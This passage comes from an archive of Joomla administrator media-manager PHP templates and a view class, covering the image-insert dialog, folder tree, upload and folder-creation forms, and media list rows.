						<button class="btn" type="button" id="upbutton" title="<?php echo JText::_('COM_MEDIA_DIRECTORY_UP'); ?>"><?php echo JText::_('COM_MEDIA_UP'); ?></button>
					</div>
				</div>
				<div class="span4 control-group">
					<div class="pull-right">
						<button class="btn btn-success button-save-selected" type="button" <?php if (!empty($onClick)) :
							// This is for Mootools compatibility ?>onclick="<?php echo $onClick; ?>"<?php endif; ?> data-dismiss="modal"><?php echo JText::_('COM_MEDIA_INSERT'); ?></button>
						<button class="btn button-cancel" type="button" onclick="window.parent.jQuery('.modal.in').modal('hide');<?php if (!empty($onClick)) :
							// This is for Mootools compatibility ?>parent.jModalClose();<?php endif ?>" data-dismiss="modal"><?php echo JText::_('JCANCEL'); ?></button>
					</div>
				</div>
			</div>
		</div>

		<iframe id="imageframe" name="imageframe" src="index.php?option=com_media&amp;view=imagesList&amp;tmpl=component&amp;folder=<?php echo rawurlencode($this->state->folder); ?>&amp;asset=<?php echo $asset; ?>&amp;author=<?php echo $author; ?>"></iframe>

		<div class="well">
			<div class="row-fluid">
				<div class="span12 control-group">
					<div class="control-label">
						<label for="f_url"><?php echo JText::_('COM_MEDIA_IMAGE_URL'); ?></label>
					</div>
					<div class="controls">
						<input type="text" id="f_url" value="" />
					</div>
				</div>
			</div>
		</div>

		<?php if (!$this->state->get('field.id')) : ?>
			<div class="well">
				<div class="row-fluid">
					<div class="span6 control-group">
						<div class="control-label">
							<label title="<?php echo JText::_('COM_MEDIA_ALIGN_DESC'); ?>" class="noHtmlTip" for="f_align"><?php echo JText::_('COM_MEDIA_ALIGN'); ?></label>
						</div>
						<div class="controls">
							<select size="1" id="f_align">
								<option value="" selected="selected"><?php echo JText::_('COM_MEDIA_NOT_SET'); ?></option>
								<option value="left"><?php echo JText::_('JGLOBAL_LEFT'); ?></option>
								<option value="center"><?php echo JText::_('JGLOBAL_CENTER'); ?></option>
								<option value="right"><?php echo JText::_('JGLOBAL_RIGHT'); ?></option>
							</select>
						</div>
					</div>
				</div>
				<div class="row-fluid">
					<div class="span6 control-group">
						<div class="control-label">
							<label for="f_alt"><?php echo JText::_('COM_MEDIA_IMAGE_DESCRIPTION'); ?></label>
						</div>
						<div class="controls">
							<input type="text" id="f_alt" value="" />
						</div>
					</div>
					<div class="span6 control-group">
						<div class="control-label">
							<label for="f_title"><?php echo JText::_('COM_MEDIA_TITLE'); ?></label>
						</div>
						<div class="controls">
							<input type="text" id="f_title" value="" />
						</div>
					</div>
				</div>
				<div class="row-fluid">
					<div class="span6 control-group">
						<div class="control-label">
							<label for="f_caption"><?php echo JText::_('COM_MEDIA_CAPTION'); ?></label>
						</div>
						<div class="controls">
							<input type="text" id="f_caption" value="" />
						</div>
					</div>
					<div class="span6 control-group">
						<div class="control-label">
							<label title="<?php echo JText::_('COM_MEDIA_CAPTION_CLASS_DESC'); ?>" class="noHtmlTip" for="f_caption_class"><?php echo JText::_('COM_MEDIA_CAPTION_CLASS_LABEL'); ?></label>
						</div>
						<div class="controls">
							<input type="text" list="d_caption_class" id="f_caption_class" value="" />
							<datalist id="d_caption_class">
								<option value="text-left">
								<option value="text-center">
								<option value="text-right">
							</datalist>
						</div>
					</div>
				</div>
			<input type="hidden" id="dirPath" name="dirPath" />
			<input type="hidden" id="f_file" name="f_file" />
			<input type="hidden" id="tmpl" name="component" />
		</div>
		<?php endif; ?>
	</form>

	<?php if ($user->authorise('core.create', 'com_media')) : ?>
		<form action="<?php echo JUri::base(); ?>index.php?option=com_media&amp;task=file.upload&amp;tmpl=component&amp;<?php echo $this->session->getName() . '=' . $this->session->getId(); ?>&amp;<?php echo JSession::getFormToken(); ?>=1&amp;asset=<?php echo $asset; ?>&amp;author=<?php echo $author; ?>&amp;view=images" id="uploadForm" class="form-horizontal" name="uploadForm" method="post" enctype="multipart/form-data">
			<div id="uploadform" class="well">
				<fieldset id="upload-noflash" class="actions">
					<div class="control-group">
						<div class="control-label">
							<label for="upload-file" class="control-label"><?php echo JText::_('COM_MEDIA_UPLOAD_FILE'); ?></label>
						</div>
						<div class="controls">
							<input required type="file" id="upload-file" name="Filedata[]" multiple /><button class="btn btn-primary" id="upload-submit"><span class="icon-upload icon-white"></span> <?php echo JText::_('COM_MEDIA_START_UPLOAD'); ?></button>
							<p class="help-block">
								<?php $cMax    = (int) $this->config->get('upload_maxsize'); ?>
								<?php $maxSize = JUtility::getMaxUploadSize($cMax . 'MB'); ?>
								<?php echo JText::sprintf('JGLOBAL_MAXIMUM_UPLOAD_SIZE_LIMIT', JHtml::_('number.bytes', $maxSize)); ?>
							</p>
						</div>
					</div>
				</fieldset>
				<?php JFactory::getSession()->set('com_media.return_url', 'index.php?option=com_media&view=images&tmpl=component&fieldid=' . $input->getCmd('fieldid', '') . '&e_name=' . $input->getCmd('e_name') . '&asset=' . $asset . '&author=' . $author); ?>
			</div>
		</form>
	<?php endif; ?>
</div>
com_media/views/media/tmpl/default_navigation.php000060400000001607152455305270016235 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_media
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;
$app   = JFactory::getApplication();
$style = $app->getUserStateFromRequest('media.list.layout', 'layout', 'thumbs', 'word');
?>

<div class="media btn-group ventral-space">
	<a href="#" id="thumbs" onclick="MediaManager.setViewType('thumbs')" class="btn <?php echo ($style == 'thumbs') ? 'active' : ''; ?>">
	<span class="icon-grid-view-2"></span> <?php echo JText::_('COM_MEDIA_THUMBNAIL_VIEW'); ?></a>
	<a href="#" id="details" onclick="MediaManager.setViewType('details')" class="btn <?php echo ($style == 'details') ? 'active' : ''; ?>">
	<span class="icon-list-view"></span> <?php echo JText::_('COM_MEDIA_DETAIL_VIEW'); ?></a>
</div>
com_media/views/media/tmpl/default_folders.php000060400000002061152455305270015527 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_media
 *
 * @copyright   (C) 2007 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

// Set up the sanitised target for the ul
$ulTarget = str_replace('/', '-', $this->folders['data']->relative);

?>
<ul class="nav nav-list" id="collapseFolder-<?php echo $ulTarget; ?>">
<?php if (isset($this->folders['children'])) :
	foreach ($this->folders['children'] as $folder) :
	// Get a sanitised name for the target
	$target = str_replace('/', '-', $folder['data']->relative); ?>
	<li id="<?php echo $target; ?>" class="folder">
		<a href="index.php?option=com_media&amp;view=mediaList&amp;tmpl=component&amp;folder=<?php echo rawurlencode($folder['data']->relative); ?>" target="folderframe" class="folder-url" >
			<span class="icon-folder"></span>
			<?php echo $this->escape($folder['data']->name); ?>
		</a>
		<?php echo $this->getFolderLevel($folder); ?>
	</li>
<?php endforeach;
endif; ?>
</ul>
com_media/views/media/tmpl/default.php000060400000015163152455305270014020 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_media
 *
 * @copyright   (C) 2007 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

$user  = JFactory::getUser();
$input = JFactory::getApplication()->input;
$lang  = JFactory::getLanguage();
$style = JFactory::getApplication()->getUserStateFromRequest('media.list.layout', 'layout', 'thumbs', 'word');

if (DIRECTORY_SEPARATOR == '\\')
{
	$base = str_replace(DIRECTORY_SEPARATOR, "\\\\", COM_MEDIA_BASE);
}
else
{
	$base = COM_MEDIA_BASE;
}

JFactory::getDocument()->addScriptDeclaration(
	"
		var basepath = '" . $base . "';
		var viewstyle = '" . $style . "';
	"
);

JHtml::_('behavior.keepalive');
JHtml::_('bootstrap.framework');
JHtml::_('script', 'media/mediamanager.min.js', array('version' => 'auto', 'relative' => true));
JHtml::_('script', 'media/mediaelement-and-player.js', array('version' => 'auto', 'relative' => true));
JHtml::_('stylesheet', 'media/mediaelementplayer.css', array('version' => 'auto', 'relative' => true));
JHtml::_('stylesheet', 'system/mootree.css', array('version' => 'auto', 'relative' => true));

if ($lang->isRtl())
{
	JHtml::_('stylesheet', 'system/mootree_rtl.css', array('version' => 'auto', 'relative' => true));
}
?>
<div class="row-fluid">
	<!-- Begin Sidebar -->
	<div id="j-sidebar-container" class="span2">
		<?php echo $this->sidebar; ?>
		<div class="j-toggle-sidebar-header">
		<h3><?php echo JText::_('COM_MEDIA_FOLDERS'); ?> </h3>
		</div>
		<div id="treeview" class="sidebar">
			<div id="media-tree_tree" class="tree-holder">
				<?php echo $this->loadTemplate('folders'); ?>
			</div>
		</div>
	</div>
	<!-- End Sidebar -->

	<!-- Begin Content -->
	<div id="j-main-container" class="span10">
		<?php echo $this->loadTemplate('navigation'); ?>
		<?php if (($user->authorise('core.create', 'com_media')) and $this->require_ftp) : ?>
			<form action="index.php?option=com_media&amp;task=ftpValidate" name="ftpForm" id="ftpForm" method="post">
				<fieldset title="<?php echo JText::_('COM_MEDIA_DESCFTPTITLE'); ?>">
					<legend><?php echo JText::_('COM_MEDIA_DESCFTPTITLE'); ?></legend>
					<?php echo JText::_('COM_MEDIA_DESCFTP'); ?>
					<label for="username"><?php echo JText::_('JGLOBAL_USERNAME'); ?></label>
					<input type="text" id="username" name="username" size="70" value="" />

					<label for="password"><?php echo JText::_('JGLOBAL_PASSWORD'); ?></label>
					<input type="password" id="password" name="password" size="70" value="" />
				</fieldset>
			</form>
		<?php endif; ?>

		<form action="index.php?option=com_media" name="adminForm" id="mediamanager-form" method="post" enctype="multipart/form-data" >
			<input type="hidden" name="task" value="" />
			<input type="hidden" name="cb1" id="cb1" value="0" />
			<input class="update-folder" type="hidden" name="folder" id="folder" value="<?php echo $this->escape($this->state->folder); ?>" />
		</form>

		<?php if ($user->authorise('core.create', 'com_media')) : ?>
		<!-- File Upload Form -->
		<div id="collapseUpload" class="collapse">
			<form action="<?php echo JUri::base(); ?>index.php?option=com_media&amp;task=file.upload&amp;tmpl=component&amp;<?php echo $this->session->getName() . '=' . $this->session->getId(); ?>&amp;<?php echo JSession::getFormToken(); ?>=1&amp;format=html" id="uploadForm" class="form-inline" name="uploadForm" method="post" enctype="multipart/form-data">
				<div id="uploadform" class="uploadform">
					<fieldset id="upload-noflash" class="actions">
							<label for="upload-file" class="control-label"><?php echo JText::_('COM_MEDIA_UPLOAD_FILE'); ?></label>
								<input required type="file" id="upload-file" name="Filedata[]" multiple /> <button class="btn btn-primary" id="upload-submit"><span class="icon-upload icon-white"></span> <?php echo JText::_('COM_MEDIA_START_UPLOAD'); ?></button>
							<p class="help-block">
								<?php $cMax    = (int) $this->config->get('upload_maxsize'); ?>
								<?php $maxSize = JUtility::getMaxUploadSize($cMax . 'MB'); ?>
								<?php echo JText::sprintf('JGLOBAL_MAXIMUM_UPLOAD_SIZE_LIMIT', JHtml::_('number.bytes', $maxSize)); ?>
							</p>
					</fieldset>
					<input class="update-folder" type="hidden" name="folder" id="folder" value="<?php echo $this->escape($this->state->folder); ?>" />
					<?php JFactory::getSession()->set('com_media.return_url', 'index.php?option=com_media'); ?>
				</div>
			</form>
		</div>
		<div id="collapseFolder" class="collapse">
			<form action="index.php?option=com_media&amp;task=folder.create&amp;tmpl=<?php echo $input->getCmd('tmpl', 'index'); ?>" name="folderForm" id="folderForm" class="form-inline" method="post">
					<div class="path">
						<input type="text" id="folderpath" readonly="readonly" class="update-folder" />
						<input required type="text" id="foldername" name="foldername" />
						<input class="update-folder" type="hidden" name="folderbase" id="folderbase" value="<?php echo $this->escape($this->state->folder); ?>" />
						<button type="submit" class="btn"><span class="icon-folder-open"></span> <?php echo JText::_('COM_MEDIA_CREATE_FOLDER'); ?></button>
					</div>
					<?php echo JHtml::_('form.token'); ?>
			</form>
		</div>
		<?php endif; ?>

		<form action="index.php?option=com_media&amp;task=folder.create&amp;tmpl=<?php echo $input->getCmd('tmpl', 'index'); ?>" name="folderForm" id="folderForm" method="post">
			<div id="folderview">
				<div class="view">
					<iframe class="thumbnail" src="index.php?option=com_media&amp;view=mediaList&amp;tmpl=component&amp;folder=<?php echo $this->escape($this->state->folder); ?>" id="folderframe" name="folderframe" width="100%" height="500px" marginwidth="0" marginheight="0" scrolling="auto"></iframe>
				</div>
				<?php echo JHtml::_('form.token'); ?>
			</div>
		</form>
	</div>
<?php // Pre render all the bootstrap modals on the parent window

echo JHtml::_(
	'bootstrap.renderModal',
	'imagePreview',
	array(
		'title'  => JText::_('COM_MEDIA_PREVIEW'),
		'footer' => '<button type="button" class="btn" data-dismiss="modal">'
			. JText::_('JLIB_HTML_BEHAVIOR_CLOSE') . '</button>',
	),
	'<div id="image" style="text-align:center;"><img id="imagePreviewSrc" src="../media/jui/img/alpha.png" alt="preview" style="max-width:100%; max-height:300px;"/></div>'
);

echo JHtml::_(
	'bootstrap.renderModal',
	'videoPreview',
	array(
		'title'  => JText::_('COM_MEDIA_PREVIEW'),
		'footer' => '<button type="button" class="btn" data-dismiss="modal">'
			. JText::_('JLIB_HTML_BEHAVIOR_CLOSE') . '</button>',
	),
	'<div id="videoPlayer" style="z-index: -100;"><video id="mejsPlayer" style="height: 250px;"/></div>'
);
?>
	<!-- End Content -->
</div>
com_media/views/media/tmpl/default.xml000060400000000310152455305270014015 0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout title="COM_MEDIA_MEDIA_VIEW_DEFAULT_TITLE">
		<message>
			<![CDATA[COM_MEDIA_MEDIA_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
</metadata>
com_media/views/media/view.html.php000060400000006753152455305270013342 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_media
 *
 * @copyright   (C) 2007 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * HTML View class for the Media component
 *
 * @since  1.0
 */
class MediaViewMedia extends JViewLegacy
{
	/**
	 * Execute and display a template script.
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  mixed  A string if successful, otherwise an Error object.
	 *
	 * @since   1.0
	 */
	public function display($tpl = null)
	{
		$app    = JFactory::getApplication();
		$config = JComponentHelper::getParams('com_media');

		if (!$app->isClient('administrator'))
		{
			return $app->enqueueMessage(JText::_('JERROR_ALERTNOAUTHOR'), 'warning');
		}

		/*
		 * Display form for FTP credentials?
		 * Don't set them here, as there are other functions called before this one if there is any file write operation
		 */
		$ftp = !JClientHelper::hasCredentials('ftp');

		$session           = JFactory::getSession();
		$state             = $this->get('state');
		$this->session     = $session;
		$this->config      = &$config;
		$this->state       = &$state;
		$this->require_ftp = $ftp;
		$this->folders_id  = ' id="media-tree"';
		$this->folders     = $this->get('folderTree');

		$this->sidebar = JHtmlSidebar::render();

		// Set the toolbar
		$this->addToolbar();

		parent::display($tpl);
	}

	/**
	 * Add the page title and toolbar.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function addToolbar()
	{
		// Get the toolbar object instance
		$bar  = JToolbar::getInstance('toolbar');
		$user = JFactory::getUser();

		// Set the titlebar text
		JToolbarHelper::title(JText::_('COM_MEDIA'), 'images mediamanager');

		// Add an upload button
		if ($user->authorise('core.create', 'com_media'))
		{
			// Instantiate a new JLayoutFile instance and render the layout
			$layout = new JLayoutFile('toolbar.uploadmedia');

			$bar->appendButton('Custom', $layout->render(array()), 'upload');
			JToolbarHelper::divider();
		}

		// Add a create folder button
		if ($user->authorise('core.create', 'com_media'))
		{
			// Instantiate a new JLayoutFile instance and render the layout
			$layout = new JLayoutFile('toolbar.newfolder');

			$bar->appendButton('Custom', $layout->render(array()), 'create');
			JToolbarHelper::divider();
		}

		// Add a delete button
		if ($user->authorise('core.delete', 'com_media'))
		{
			// Instantiate a new JLayoutFile instance and render the layout
			$layout = new JLayoutFile('toolbar.deletemedia');

			$bar->appendButton('Custom', $layout->render(array()), 'delete');
			JToolbarHelper::divider();
		}

		// Add a preferences button
		if ($user->authorise('core.admin', 'com_media') || $user->authorise('core.options', 'com_media'))
		{
			JToolbarHelper::preferences('com_media');
			JToolbarHelper::divider();
		}

		JToolbarHelper::help('JHELP_CONTENT_MEDIA_MANAGER');
	}

	/**
	 * Display a folder level
	 *
	 * @param   array  $folder  Array with folder data
	 *
	 * @return  string
	 *
	 * @since   1.0
	 */
	protected function getFolderLevel($folder)
	{
		$this->folders_id = null;
		$txt              = null;

		if (isset($folder['children']) && count($folder['children']))
		{
			$tmp           = $this->folders;
			$this->folders = $folder;
			$txt           = $this->loadTemplate('folders');
			$this->folders = $tmp;
		}

		return $txt;
	}
}
com_media/views/medialist/tmpl/details_videos.php000060400000004377152455305270016273 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_media
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Registry\Registry;

JHtml::_('bootstrap.tooltip');

$params     = new Registry;
$dispatcher = JEventDispatcher::getInstance();

JFactory::getDocument()->addScriptDeclaration("
jQuery(document).ready(function($){
	window.parent.jQuery('#videoPreview').on('hidden', function () {
		window.parent.jQuery('#mejsPlayer')[0].player.pause();
	});
});
");
?>

<?php foreach ($this->videos as $i => $video) : ?>
	<?php $dispatcher->trigger('onContentBeforeDisplay', array('com_media.file', &$video, &$params, 0)); ?>
	<tr>
		<?php if ($this->canDelete) : ?>
			<td>
				<?php echo JHtml::_('grid.id', $i, $this->escape($video->name), false, 'rm', 'cb-video'); ?>
			</td>
		<?php endif; ?>

		<td>
			<a class="video-preview" href="<?php echo COM_MEDIA_BASEURL, '/', rawurlencode($video->name); ?>" title="<?php echo $this->escape($video->title); ?>">
				<?php echo JHtml::_('image', $video->icon_16, $this->escape($video->title), null, true); ?>
			</a>
		</td>

		<td class="description">
			<a class="video-preview" href="<?php echo COM_MEDIA_BASEURL, '/', rawurlencode($video->name); ?>" title="<?php echo $this->escape($video->name); ?>">
				<?php echo $this->escape($video->name); ?>
			</a>
		</td>

		<td class="dimensions">
			<?php // Can we figure out the dimensions of the video? ?>
		</td>

		<td class="filesize">
			<?php echo JHtml::_('number.bytes', $video->size); ?>
		</td>

		<?php if ($this->canDelete) : ?>
			<td>
				<a class="delete-item" target="_top" href="index.php?option=com_media&amp;task=file.delete&amp;tmpl=index&amp;<?php echo JSession::getFormToken(); ?>=1&amp;folder=<?php echo rawurlencode($this->state->folder); ?>&amp;rm[]=<?php echo $this->escape($video->name); ?>" rel="<?php echo $this->escape($video->name); ?>">
					<span class="icon-remove hasTooltip" title="<?php echo JHtml::tooltipText('JACTION_DELETE'); ?>"></span>
				</a>
			</td>
		<?php endif; ?>
	</tr>

	<?php $dispatcher->trigger('onContentAfterDisplay', array('com_media.file', &$video, &$params, 0)); ?>
<?php endforeach; ?>
com_media/views/medialist/tmpl/details_video.php000060400000004446152455305270016105 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_media
 *
 * @copyright   (C) 2015 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Registry\Registry;

JHtml::_('bootstrap.tooltip');

$user       = JFactory::getUser();
$params     = new Registry;
$dispatcher = JEventDispatcher::getInstance();
$dispatcher->trigger('onContentBeforeDisplay', array('com_media.file', &$this->_tmp_video, &$params, 0));

JFactory::getDocument()->addScriptDeclaration("
jQuery(document).ready(function($){
	window.parent.jQuery('#videoPreview').on('hidden', function () {
		window.parent.jQuery('#mejsPlayer')[0].player.pause();
	});
});
");
?>

<tr>
	<td>
		<a class="video-preview" href="<?php echo COM_MEDIA_BASEURL . '/' . rawurlencode($this->_tmp_video->name); ?>" title="<?php echo $this->escape($this->_tmp_video->title); ?>"><?php JHtml::_('image', $this->_tmp_video->icon_16, $this->escape($this->_tmp_video->title), null, true); ?></a>
	</td>
	<td class="description">
		<a class="video-preview" href="<?php echo COM_MEDIA_BASEURL . '/' . rawurlencode($this->_tmp_video->name); ?>" title="<?php echo $this->escape($this->_tmp_video->name); ?>">
			<?php echo JHtml::_('string.truncate', $this->escape($this->_tmp_video->name), 10, false); ?>
		</a>
	</td>
	<td class="dimensions">
		<?php // Can we figure out the dimensions of the video? ?>
	</td>
	<td class="filesize">
		<?php echo JHtml::_('number.bytes', $this->_tmp_video->size); ?>
	</td>
	<?php if ($user->authorise('core.delete', 'com_media')):?>
		<td>
			<a class="delete-item" target="_top" href="index.php?option=com_media&amp;task=file.delete&amp;tmpl=index&amp;<?php echo JSession::getFormToken(); ?>=1&amp;folder=<?php echo rawurlencode($this->state->folder); ?>&amp;rm[]=<?php echo $this->escape($this->_tmp_video->name); ?>" rel="<?php echo $this->escape($this->_tmp_video->name); ?>"><span class="icon-remove hasTooltip" title="<?php echo JHtml::_('tooltipText', 'JACTION_DELETE');?>"></span></a>
			<input type="checkbox" name="rm[]" value="<?php echo $this->escape($this->_tmp_video->name); ?>" />
		</td>
	<?php endif;?>
</tr>

<?php
$dispatcher->trigger('onContentAfterDisplay', array('com_media.file', &$this->_tmp_video, &$params, 0));
com_media/views/medialist/tmpl/thumbs_videos.php000060400000003656152455305270016147 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_media
 *
 * @copyright   (C) 2015 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Registry\Registry;

$params     = new Registry;
$dispatcher = JEventDispatcher::getInstance();

JFactory::getDocument()->addScriptDeclaration("
jQuery(document).ready(function($){
	window.parent.jQuery('#videoPreview').on('hidden', function () {
		window.parent.jQuery('#mejsPlayer')[0].player.pause();
	});
});
");
?>
<?php foreach ($this->videos as $i => $video) : ?>
	<?php $dispatcher->trigger('onContentBeforeDisplay', array('com_media.file', &$video, &$params, 0)); ?>
	<li class="imgOutline thumbnail height-80 width-80 center">
		<?php if ($this->canDelete) : ?>
			<a class="close delete-item" target="_top" href="index.php?option=com_media&amp;task=file.delete&amp;tmpl=index&amp;<?php echo JSession::getFormToken(); ?>=1&amp;folder=<?php echo rawurlencode($this->state->folder); ?>&amp;rm[]=<?php echo $this->escape($video->name); ?>" rel="<?php echo $this->escape($video->name); ?>" title="<?php echo JText::_('JACTION_DELETE'); ?>">&#215;</a>
			<div class="pull-left">
				<?php echo JHtml::_('grid.id', $i, $this->escape($video->name), false, 'rm', 'cb-video'); ?>
			</div>
			<div class="clearfix"></div>
		<?php endif; ?>

		<div class="height-50">
			<?php echo JHtml::_('image', $video->icon_32, $this->escape($video->title), null, true); ?>
		</div>

		<div class="small">
			<a class="video-preview" href="<?php echo COM_MEDIA_BASEURL, '/', rawurlencode($video->path_relative); ?>" title="<?php echo $this->escape($video->name); ?>">
				<?php echo JHtml::_('string.truncate', $this->escape($video->name), 10, false); ?>
			</a>
		</div>
	</li>
	<?php $dispatcher->trigger('onContentAfterDisplay', array('com_media.file', &$video, &$params, 0)); ?>
<?php endforeach; ?>
com_media/views/medialist/tmpl/thumbs_folders.php000060400000003146152455305270016306 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_media
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

?>
<?php foreach ($this->folders as $i => $folder) : ?>
	<li class="imgOutline thumbnail height-80 width-80 center">
		<?php if ($this->canDelete) : ?>
			<a class="close delete-item" target="_top" href="index.php?option=com_media&amp;task=folder.delete&amp;tmpl=index&amp;<?php echo JSession::getFormToken(); ?>=1&amp;folder=<?php echo rawurlencode($this->state->folder); ?>&amp;rm[]=<?php echo $this->escape($folder->name); ?>" rel="<?php echo $this->escape($folder->name); ?> :: <?php echo $this->escape($folder->files) + $this->escape($folder->folders); ?>" title="<?php echo JText::_('JACTION_DELETE'); ?>">&#215;</a>
			<div class="pull-left">
				<?php echo JHtml::_('grid.id', $i, $this->escape($folder->name), false, 'rm', 'cb-folder'); ?>
			</div>
			<div class="clearfix"></div>
		<?php endif; ?>

		<div class="height-50">
			<a href="index.php?option=com_media&amp;view=mediaList&amp;tmpl=component&amp;folder=<?php echo rawurlencode($folder->path_relative); ?>" target="folderframe">
				<span class="icon-folder-2"></span>
			</a>
		</div>

		<div class="small">
			<a href="index.php?option=com_media&amp;view=mediaList&amp;tmpl=component&amp;folder=<?php echo rawurlencode($folder->path_relative); ?>" target="folderframe">
				<?php echo JHtml::_('string.truncate', $this->escape($folder->name), 10, false); ?>
			</a>
		</div>
	</li>
<?php endforeach; ?>
com_media/views/medialist/tmpl/details_up.php000060400000001745152455305270015422 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_media
 *
 * @copyright   (C) 2007 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

$user = JFactory::getUser();
?>
<?php if ($this->state->folder != '') : ?>
<tr>
	<?php if ($this->canDelete) : ?>
		<td>&#160;</td>
	<?php endif; ?>
	<td class="imgTotal">
		<a href="index.php?option=com_media&amp;view=mediaList&amp;tmpl=component&amp;folder=<?php echo rawurlencode($this->state->parent); ?>" target="folderframe">
			<span class="icon-arrow-up"></span></a>
	</td>
	<td class="description">
		<a href="index.php?option=com_media&amp;view=mediaList&amp;tmpl=component&amp;folder=<?php echo rawurlencode($this->state->parent); ?>" target="folderframe">..</a>
	</td>
	<td>&#160;</td>
	<td>&#160;</td>
	<?php if ($user->authorise('core.delete', 'com_media')) : ?>
		<td>&#160;</td>
	<?php endif; ?>
</tr>
<?php endif; ?>
com_media/views/medialist/tmpl/thumbs_up.php000060400000001643152455305270015274 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_media
 *
 * @copyright   (C) 2007 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;
?>
<?php if ($this->state->folder != '') : ?>
<li class="imgOutline thumbnail height-80 width-80 center">
	<div class="imgTotal">
		<div class="imgBorder">
			<a class="btn" href="index.php?option=com_media&amp;view=mediaList&amp;tmpl=component&amp;folder=<?php echo rawurlencode($this->state->parent); ?>" target="folderframe">
				<span class="icon-arrow-up"></span></a>
		</div>
	</div>
	<div class="controls">
		<span>&#160;</span>
	</div>
	<div class="imginfoBorder">
		<a href="index.php?option=com_media&amp;view=mediaList&amp;tmpl=component&amp;folder=<?php echo rawurlencode($this->state->parent); ?>" target="folderframe">..</a>
	</div>
</li>
<?php endif; ?>
com_media/views/medialist/tmpl/details_folders.php000060400000003066152455305270016432 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_media
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;

JHtml::_('bootstrap.tooltip');
?>

<?php foreach ($this->folders as $i => $folder) : ?>
	<?php $link = 'index.php?option=com_media&amp;view=mediaList&amp;tmpl=component&amp;folder=' . rawurlencode($folder->path_relative); ?>
	<tr>
		<?php if ($this->canDelete) : ?>
			<td>
				<?php echo JHtml::_('grid.id', $i, $this->escape($folder->name), false, 'rm', 'cb-folder'); ?>
			</td>
		<?php endif; ?>
		<td class="imgTotal">
			<a href="<?php echo $link; ?>" target="folderframe"><span class="icon-folder-2"></span></a>
		</td>

		<td class="description">
			<a href="<?php echo $link; ?>" target="folderframe"><?php echo $this->escape($folder->name); ?></a>
		</td>

		<td>&#160;</td>

		<td>&#160;</td>

		<?php if ($this->canDelete) : ?>
			<td>
				<a class="delete-item" target="_top" href="index.php?option=com_media&amp;task=folder.delete&amp;tmpl=index&amp;folder=<?php echo rawurlencode($this->state->folder); ?>&amp;<?php echo JSession::getFormToken(); ?>=1&amp;rm[]=<?php echo $this->escape($folder->name); ?>" rel="<?php echo $this->escape($folder->name); ?> :: <?php echo $this->escape($folder->files) + $this->escape($folder->folders); ?>">
					<span class="icon-remove hasTooltip" title="<?php echo JHtml::tooltipText('JACTION_DELETE'); ?>"></span>
				</a>
			</td>
		<?php endif; ?>
	</tr>
<?php endforeach; ?>
com_media/views/medialist/tmpl/details_img.php000060400000004465152455305270015554 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_media
 *
 * @copyright   (C) 2007 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Registry\Registry;

JHtml::_('bootstrap.tooltip');

$user       = JFactory::getUser();
$params     = new Registry;
$dispatcher = JEventDispatcher::getInstance();
$dispatcher->trigger('onContentBeforeDisplay', array('com_media.file', &$this->_tmp_img, &$params, 0));
?>

<tr>
	<td>
		<a class="img-preview" href="<?php echo COM_MEDIA_BASEURL . '/' . str_replace('%2F', '/', rawurlencode($this->_tmp_img->path_relative)); ?>" title="<?php echo $this->escape($this->_tmp_img->name); ?>"><?php echo JHtml::_('image', COM_MEDIA_BASEURL . '/' . $this->escape($this->_tmp_img->path_relative), JText::sprintf('COM_MEDIA_IMAGE_TITLE', $this->_tmp_img->title, JHtml::_('number.bytes', $this->_tmp_img->size)), array('width' => $this->_tmp_img->width_16, 'height' => $this->_tmp_img->height_16)); ?></a>
	</td>
	<td class="description">
